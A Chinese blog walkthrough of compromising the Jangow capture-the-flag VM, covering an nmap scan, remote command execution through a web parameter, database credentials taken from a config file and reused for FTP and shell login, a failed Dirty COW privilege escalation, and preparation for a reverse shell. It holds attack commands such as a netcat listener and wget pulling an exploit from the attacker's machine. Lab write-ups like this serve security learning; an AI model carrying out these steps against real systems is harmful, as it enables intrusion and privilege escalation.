靶机环境 jangow入侵过程(1)-使用远程命令执行,脏牛提权

** 测试 VMware不能识别网卡启动 使用virtualbox, 使用box 的桥接方式,放到物理网络,dhcp自动获取IP,看dhcp 找到IP地址**

1、收集信息

nmap -v -T5 -sV -A   192.168.10.197 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-09 15:31 CST


PORT   STATE SERVICE    VERSION
21/tcp open  tcpwrapped
80/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|phone
Running: Linux 2.4.X|2.6.X, Sony Ericsson embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:sonyericsson:u8i_vivaz
OS details: Tomato 1.28 (Linux 2.4.20), Tomato firmware (Linux 2.6.22), Sony Ericsson U8i Vivaz mobile phone

TRACEROUTE (using port 80/tcp)
HOP RTT    ADDRESS
1   ... 30


# 获取信息 192.168.10.197   21 80

2、80端口渗透

渗透方向:



# 获取信息  ubantu 系统  Apache Apache/2.4.18 

image-20220809153802949

在网页中 ,找到一个调用 buscar的函数  
看看这个函数是   文件包含  文件调用  
不是本地包含 不是远程包含  
远程命令执行  pwd 



# 可以使用 gobuster 跑一下 站点目录



image-20220809163007253

image-20220809163911359

image-20220809164624834

查看系统用户

获取到一个系统用户名 jangow01



这个难道是密码?
d41d8cd98f00b204e9800998ecf8427e
解不出??应该是flag


# https://github.com/swisskyrepo/PayloadsAllTheThings  
# 提供各种语言的反弹shell的语句
# 命令执行的 可以使用反弹一个shell  在burp里面执行
#  rlwrap nc  -lnvp 4444    我方服务 做个端口监听

 如何验证目标主机 能够发出请求,
  在我方主机启动一个  python -m  http.server 4444 
  在目标机上去请求 wget 223.5.5.5:4444/123.txt  
  我方服务端显示有请求进来,说明目标机的流量能够出来。
启动一个 http服务
python3 -m http.server 81

wget http://10.0.0.9:81/dirty 下载
--2022-08-10 00:47:06--  http://10.0.0.9:81/dirty
Connecting to 10.0.0.9:81... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17688 (17K) [application/octet-stream]
Saving to: ‘dirty’

dirty                                      100%[========================================================================================>]  17.27K  --.-KB/s    in 0s

image-20220810084744365

image-20220809170532131

image-20220809170709471

image-20220809171006457

web配置文件

数据库连接密码

# 命令执行的 空格使用 url编码 %20代替 ,
# wordpress 目录下有个config.php 配置文件
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";


image-20220809165212375

image-20220809165457165

3、21端口渗透

尝试登录系统

# 有些运维人员系统 密码复用  一套密码走天下

系统用户名 jangow01
$username = "desafio02";

$password = "abygurl69";

#  ftp定能够登录成功


image-20220809174557973

试试 系统用户能不能登录
结果也是可以的

image-20220809171902801

提升权限到root

先看看 特殊命令 能不能提取
find /  -perm -u=s -type f 2>/dev/null

试了一下都没有sudo 的权限

image-20220809175449267

2016年的 估计脏牛提权可以搞一搞
https://gist.github.com/scumjr/17d91f20f73157c722ba2aea702985d2
下载、编译 ,上传

image-20220810145527752

image-20220810145549840

image-20220810092351198

用ftp 把文件上传 
系统用户名 jangow01
$password = "abygurl69";

/tmp 有写的权限,上传到/tmp 下

# ftp 192.168.10.184
Connected to 192.168.10.184.
220 (vsFTPd 3.0.3)
Name (192.168.10.184:root): jangow01
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> put dirtycow-mem 
local: dirtycow-mem remote: dirtycow-mem
229 Entering Extended Passive Mode (|||62435|)
553 Could not create file.
ftp> cd /tmp
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||5061|)
150 Here comes the directory listing.
drwx------    3 0        0            4096 Aug 10 12:29 systemd-private-51268d7d22d64dfcb85c70bd4ae7f3d9-systemd-timesyncd.service-9NiNf0
226 Directory send OK.
ftp> put dirtycow-mem 
local: dirtycow-mem remote: dirtycow-mem
229 Entering Extended Passive Mode (|||49861|)
150 Ok to send data.
100% |*******************************************************************************************************************************| 17952       74.11 MiB/s    00:00 ETA
226 Transfer complete.
17952 bytes sent in 00:00 (14.41 MiB/s)
ftp> 

这个exp 编译的有问题
报 GLIBC_2.33  not found 
失败了

image-20220810165135736

继续提权

去查一下 https://www.exploit-db.com/

有什么可用的 expolit 
下载 编译

image-20220810182603491

image-20220810182724817

image-20220810172426050

image-20220810164637058

image-20220810165049594

443 可以出流量  

使用反弹shell 端口号443 应该是可以的

image-20220810185714613

posted @ 2022-08-09 17:59  mmszxc  阅读(217)  评论(0)    收藏  举报